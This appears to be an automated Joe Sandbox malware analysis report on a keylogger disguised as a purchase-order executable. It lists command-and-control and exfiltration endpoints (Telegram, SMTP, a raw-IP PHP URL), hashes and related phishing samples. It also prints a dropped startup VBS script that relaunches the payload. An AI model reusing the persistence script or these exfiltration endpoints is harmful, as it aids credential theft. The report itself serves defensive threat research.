https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RegSvcs.exe, 00000003.00000002.4540108777.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4540335552.0000000003733000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	name.exe, 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, name.exe, 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4535184676.0000000000374000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/	name.exe, 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4535184676.0000000000374000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002711000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.91.198.143	unknown	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
208.91.199.223	us2.smtp.mailhostbox.com	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	true
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1513787
Start date and time:	2024-09-19 12:20:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	New Order PO#86637.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@10/3@8/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 50 Number of non-executed functions: 312
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: New Order PO#86637.exe

Simulations

Behavior and APIs

Time	Type	Description
06:21:08	API Interceptor	16970339x Sleep call for process: RegSvcs.exe modified
12:21:06	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.91.198.143	z1newpo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	z68ORDER.scr.exe	Get hash	malicious	AgentTesla	Browse
	z17invoice.exe	Get hash	malicious	AgentTesla	Browse
	z47maaaaaaaaaaaaax.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	product_list.xls	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	SecuriteInfo.com.Other.Malware-gen.12504.4949.xlsx	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	giehjhgjzJ.hta	Get hash	malicious	Cobalt Strike, MassLogger RAT, Snake Keylogger	Browse
	NGL1Of0ZkJ.hta	Get hash	malicious	Cobalt Strike, AgentTesla	Browse
	SecuriteInfo.com.Win32.PWSX-gen.19673.26192.exe	Get hash	malicious	AgentTesla	Browse
149.154.167.220	2.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Order_List.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Zahlungsbest#U00e4tigung.exe	Get hash	malicious	AgentTesla	Browse
	z1newpo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	rNEWPURCHASEORDER094637.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	Order #SS1953pdf.exe	Get hash	malicious	AgentTesla	Browse
	SWIFT.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Quotation 47923.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger, XRed	Browse
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
188.114.97.3	PAGO $830.900.exe	Get hash	malicious	FormBook	Browse	www.chinaen.org/mquw/
	QUOTATION_AUGQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/TX2daF45/download
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/mCJwtLTf/download
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/KiyXDELa/download
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/mCJwtLTf/download
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	filetransfer.io/data-package/G1NY5FRK/download
	SwiftMesaj.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse	vlha.shop/LP341/index.php
	Petronas request for-quotation.exe	Get hash	malicious	FormBook	Browse	www.1win-moldovia.fun/1g7m/
	SecuriteInfo.com.Trojan.Siggen29.8143.15092.30622.exe	Get hash	malicious	Xmrig	Browse	down.mvip8.ru/7z.dll
	3XRUFJRb3K.dll	Get hash	malicious	Unknown	Browse	web.ad87h92j.com/4/t.bmp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	2.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Order_List.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	ESD99W89W99-PO9W2788Q-SHK092782.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	PO#180924.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	z1newpo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	rNEWPURCHASEORDER094637.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	MT LADY YASSO VESSEL BRIEF DETAILS.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	IMG_1507_1603.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	MT103 SWIFT COPY.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	188.114.96.3
	SWIFT.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
checkip.dyndns.com	2.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	Order_List.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	ESD99W89W99-PO9W2788Q-SHK092782.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	PO#180924.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	z1newpo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	rNEWPURCHASEORDER094637.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	MT LADY YASSO VESSEL BRIEF DETAILS.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	IMG_1507_1603.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	MT103 SWIFT COPY.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	158.101.44.242
	SWIFT.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
us2.smtp.mailhostbox.com	2.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.225
	z1newpo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.198.143
	Invoice Payment.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.224
	z47TTSWIFTCOPY.scr.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	Invoice Request.scr.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.224
	SecuriteInfo.com.Trojan.PackedNET.3050.5454.27030.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.225
	z68ORDER.scr.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	SecuriteInfo.com.Win32.PWSX-gen.12778.1808.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.225
	EXmRyGiPUc.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	z17invoice.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
api.telegram.org	2.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Order_List.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Zahlungsbest#U00e4tigung.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	z1newpo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rNEWPURCHASEORDER094637.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Order #SS1953pdf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	SWIFT.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Quotation 47923.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger, XRed	Browse	149.154.167.220
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	2.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	http://ankaraspotesya.com	Get hash	malicious	Unknown	Browse	149.154.167.99
	Order_List.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	http://web.tele-gam.top/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://aisthd.xyz/	Get hash	malicious	Unknown	Browse	149.154.167.99
	Zahlungsbest#U00e4tigung.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
CLOUDFLARENETUS	SecuriteInfo.com.Win32.Trojan.Agent.RG6EPY.31891.24669.exe	Get hash	malicious	Unknown	Browse	172.67.186.24
	2.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	ELECTRONIC RECEIPT_658776783.htm	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://rodator.freshdesk.com/en/support/solutions/articles/156000013321-solicitud-de-presupuesto-1454082	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://sampension-account-docsign.net.nezzegvipaaqrhsf.com/app7c874963274eb9aecdb8a4dda6dd5c85/66d4bcaf4e31753ebfee0548	Get hash	malicious	Unknown	Browse	104.18.86.42
	original (37).eml	Get hash	malicious	Unknown	Browse	104.26.13.205
	http://gartner.com	Get hash	malicious	Unknown	Browse	104.18.86.42
	https://tayakay.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	Biolegend.com_Report_93129.pdf	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://doc.wilkka.com/mo/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
PUBLIC-DOMAIN-REGISTRYUS	2.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.225
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/m%C2%ADd%C2%ADra%C2%ADrq%C2%ADu%C2%ADit%C2%AD%C2%ADec%C2%ADt%C2%ADu%C2%ADr%C2%ADa%C2%AD.%C2%ADc%C2%ADom/xs	Get hash	malicious	HTMLPhisher	Browse	162.215.254.118
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/p%C2%ADep%C2%ADe%C2%ADm%C2%ADu%C2%ADj%C2%ADi%C2%ADc%C2%ADa%C2%AD.%C2%ADc%C2%ADom/hj	Get hash	malicious	Unknown	Browse	162.215.254.118
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/m%C2%ADd%C2%ADra%C2%ADrq%C2%ADu%C2%ADit%C2%AD%C2%ADec%C2%ADt%C2%ADu%C2%ADr%C2%ADa%C2%AD.%C2%ADc%C2%ADom/xs	Get hash	malicious	HTMLPhisher	Browse	162.215.254.118
	z1newpo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.198.143
	Quote 20240533-REV2.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.79.62.115
	Invoice Payment.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.224
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Bp%C2%ADri%C2%ADvi%C2%ADl%C3%A8%C2%ADge%C2%ADt%C2%ADv.%E2%80%8Bf%C2%ADr%2Fddd%2Fopc%2FESwvA1jmTcm6YlLT8cDALmb3/cGxvdHRlYm9yZC5ub0Bwb3N0bm9yZC5jb20=	Get hash	malicious	Unknown	Browse	116.206.104.99
	Shipping documents.exe	Get hash	malicious	AgentTesla	Browse	162.251.85.202
	PO- 220135.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.79.62.115
PUBLIC-DOMAIN-REGISTRYUS	2.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.225
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/m%C2%ADd%C2%ADra%C2%ADrq%C2%ADu%C2%ADit%C2%AD%C2%ADec%C2%ADt%C2%ADu%C2%ADr%C2%ADa%C2%AD.%C2%ADc%C2%ADom/xs	Get hash	malicious	HTMLPhisher	Browse	162.215.254.118
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/p%C2%ADep%C2%ADe%C2%ADm%C2%ADu%C2%ADj%C2%ADi%C2%ADc%C2%ADa%C2%AD.%C2%ADc%C2%ADom/hj	Get hash	malicious	Unknown	Browse	162.215.254.118
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/m%C2%ADd%C2%ADra%C2%ADrq%C2%ADu%C2%ADit%C2%AD%C2%ADec%C2%ADt%C2%ADu%C2%ADr%C2%ADa%C2%AD.%C2%ADc%C2%ADom/xs	Get hash	malicious	HTMLPhisher	Browse	162.215.254.118
	z1newpo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.198.143
	Quote 20240533-REV2.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.79.62.115
	Invoice Payment.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.224
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Bp%C2%ADri%C2%ADvi%C2%ADl%C3%A8%C2%ADge%C2%ADt%C2%ADv.%E2%80%8Bf%C2%ADr%2Fddd%2Fopc%2FESwvA1jmTcm6YlLT8cDALmb3/cGxvdHRlYm9yZC5ub0Bwb3N0bm9yZC5jb20=	Get hash	malicious	Unknown	Browse	116.206.104.99
	Shipping documents.exe	Get hash	malicious	AgentTesla	Browse	162.251.85.202
	PO- 220135.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.79.62.115

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	2.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Order_List.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	ESD99W89W99-PO9W2788Q-SHK092782.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	PO#180924.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	z1newpo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	rNEWPURCHASEORDER094637.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	DbwdFVTAXI.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	188.114.97.3
	4b8lIXw22G.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	188.114.97.3
	HONG_KONG_CHEMHERE_QUOTE_REQUEST.vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	188.114.97.3
	MT LADY YASSO VESSEL BRIEF DETAILS.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	2.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ELECTRONIC RECEIPT_658776783.htm	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://sampension-account-docsign.net.nezzegvipaaqrhsf.com/app7c874963274eb9aecdb8a4dda6dd5c85/66d4bcaf4e31753ebfee0548	Get hash	malicious	Unknown	Browse	149.154.167.220
	z3hL1cM0zb.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	http://ankaraspotesya.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	Order_List.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PT54FFSL7ET46RASB.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, Xmrig, zgRAT	Browse	149.154.167.220
	PT54FFSL7ET46RASB.exe	Get hash	malicious	LummaC, PureLog Stealer, Xmrig, zgRAT	Browse	149.154.167.220
	o9OIGsDt4m.exe	Get hash	malicious	Xmrig	Browse	149.154.167.220
	http://santander-competencia.activaonline.cl/	Get hash	malicious	Unknown	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\New Order PO#86637.exe
File Type:	data
Category:	dropped
Size (bytes):	275456
Entropy (8bit):	6.861592083430848
Encrypted:	false
SSDEEP:	6144:/64HX+XkPN/l+vR9youO6DIKaRAYT/7bExeJW+F6C78gwtv10j/hWok3:i43+XkPOC7BW/7bE8JFF6C78gwtv10jg
MD5:	F63F93DDE97D0C024549598062C51A0E
SHA1:	308D8E6B96276078591AFAECC73343128062C079
SHA-256:	5B5F8A5C606CE808848B71B08332B05131AA260FF4784089BC311526DD160458
SHA-512:	09CDC365A2BBF72BD971B383DC315AB8D07D918878CC64B817F45A1C00CC07D4441D288359D5C42730E2F0928D1BC1960563FF2FE1651B58C03D00D523F649EA
Malicious:	false
Reputation:	low
Preview:	...3;UQ9A18K.VQ.V738UQ9.18K9CVQYV738UQ9E18K9CVQYV738UQ9E18K.CVQWI.=8.X.d.9..b.90%.CJ:6K$\.(X-8>-vUV.'$WeXVk}..q49SV.X\3a18K9CVQ..73tTR9...-9CVQYV73.US8N0hK9]RQYB738UQ9..<K9cVQY.338U.9E.8K9AVQ]V738UQ9A18K9CVQY.338WQ9E18K;C..YV'38EQ9E1(K9SVQYV73(UQ9E18K9CVQ=j33oUQ9Eq<K.SVQYV738UQ9E18K9CVQY6334UQ9E18K9CVQYV738UQ9E18K9CVQYV738UQ9E18K9CVQYV738UQ9E.8K1CVQYV738UQ9M.8KqCVQYV738UQ9kE]3MCVQ.J338uQ9E/<K9AVQYV738UQ9E18K.CV1w$DA[UQ9R!8K9.RQYD738uU9E18K9CVQYV73xUQykC]'V VQUV7385U9E38K9qRQYV738UQ9E18KyCV.YV738UQ9E18K9CVQ.j338UQ9.18K;CSQ..530.P9F18K.CVW..53.UQ9E18K9CVQYV738UQ9E18K9CVQYV738UQ9E18K9CVQ.+.<..P6..K9CVQYW50<SY1E18K9CVQ'V73~UQ9.18K.CVQ\|V73UUQ9a18KGCVQ'V73\UQ9718KXCVQ.V73WUQ9+18KGCVQGT..8U[.c1:c.CV[Y\|.@.UQ3.08K=0uQY\.18UUJa18A.@VQ]%.38_.=E1<8.CV[.S73<..9F..M9CM>`V798V.,C18P.eVSql732U{.E2.^?CVJst71.\Q9A.n8$CVWq.732!X9E3.A9CR{GT.w8U[.gO3K9G}QstI?8UU.E..54CVUrV.-:.\9E5.iGMVQ]}7..+^9E5.K.]T.VV77.w/)E1<`9it/HV77.U{.;#8K=hV{{($38Qz9o.F_9CRzY\|.M-UQ=n1.iGUVQ]}7..+F9E5.K.a(IYV3.8.O;.)8K=iP{;VE..U!:

C:\Users\user\AppData\Local\directory\name.exe

Download File

Process:	C:\Users\user\Desktop\New Order PO#86637.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1332869
Entropy (8bit):	7.435924090424551
Encrypted:	false
SSDEEP:	24576:pRmJkcoQricOIQxiZY1iaJGnk+r8OJZtwWayjlUBo0oW/e8dLd+vky:mJZoQrbTFZY1iaJ0ltDtwWhRUBBrWULg
MD5:	6FA58744FFB09C72C150F276F7C79ECD
SHA1:	F7202152B97A7C9396B43C53D30DE9353CBF8836
SHA-256:	5C6FF5340700194B1EC369D0FA8C4D03320A3E7379903D19A7C1FCE628EE73BC
SHA-512:	0B073DEA4A142F75250362B3DB6083F0591E83B07405B196D90E5EF8263C7497F328D9BB9A298B0770EFB1AE8638D88990AFD47A1B9601BDF27C91A4E2FA7ADA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................1b.....P.)....Q.....y.....i.......}...N......d.....`.....m.....g....Rich............PE..L....%O..........#..................e....... ....@...........................................@.......@.........................T.......x7........................................................................... ..D............................text............................... ..`.rdata....... ......................@..@.data...X........h..................@....rsrc...x7.......8...T..............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.vbs

Download File

Process:	C:\Users\user\AppData\Local\directory\name.exe
File Type:	data
Category:	dropped
Size (bytes):	270
Entropy (8bit):	3.4297698362729916
Encrypted:	false
SSDEEP:	6:DMM8lfm3OOQdUfclo5ZsUEZ+lX1Al1AE6nriIM8lfQVn:DsO+vNlzQ1A1z4mA2n
MD5:	3DA73F5D6073C0D8F7B9CEE8DF5035A7
SHA1:	D4B44315FD7C6171A9CC03899A00E593AE78CDE7
SHA-256:	1F2D7E91D96B7DA16BC230D9C519E5E0A6A78FCD6B3468E590D5A97239BB420B
SHA-512:	CE2041AA9AAFE863C44296E4ED58BA207E4849584AB057B93354F10679DC1BFAE50241EEDAD74DCC4D7AF6C8ADC3A97E4581F56E5E71955651D52BA866ED763B
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	S.e.t. .W.s.h.S.h.e.l.l. .=. .C.r.e.a.t.e.O.b.j.e.c.t.(.".W.S.c.r.i.p.t...S.h.e.l.l.".)...W.s.h.S.h.e.l.l...R.u.n. .".C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.d.i.r.e.c.t.o.r.y.\.n.a.m.e...e.x.e.".,. .1...S.e.t. .W.s.h.S.h.e.l.l. .=. .N.o.t.h.i.n.g...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.435924090424551
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	New Order PO#86637.exe
File size:	1'332'869 bytes
MD5:	6fa58744ffb09c72c150f276f7c79ecd
SHA1:	f7202152b97a7c9396b43c53d30de9353cbf8836
SHA256:	5c6ff5340700194b1ec369d0fa8c4d03320a3e7379903d19a7c1fce628ee73bc
SHA512:	0b073dea4a142f75250362b3db6083f0591e83b07405b196d90e5ef8263c7497f328d9bb9a298b0770efb1ae8638d88990afd47a1b9601bdf27c91a4e2fa7ada
SSDEEP:	24576:pRmJkcoQricOIQxiZY1iaJGnk+r8OJZtwWayjlUBo0oW/e8dLd+vky:mJZoQrbTFZY1iaJ0ltDtwWhRUBBrWULg
TLSH:	B755D021A4D290F5D1E22E725D39F355BA7A6C260322819FE3C839F10E73781D6296F7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................1b.......P.).....Q.......y.......i..........}....N.......d.......`.......m.......g.....Rich............PE..L..

File Icon


Icon Hash:	cf818c848c8a814f

Static PE Info

General

Entrypoint:	0x4165c1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4F25BAEC [Sun Jan 29 21:32:28 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d3bf8a7746a8d1ee8f6e5960c3f69378

Entrypoint Preview

Instruction
call 00007F11E520B26Bh
jmp 00007F11E52020DEh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F11E520225Ah
cmp edi, eax
jc 00007F11E52023F6h
cmp ecx, 00000080h
jc 00007F11E520226Eh
cmp dword ptr [004A9724h], 00000000h
je 00007F11E5202265h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
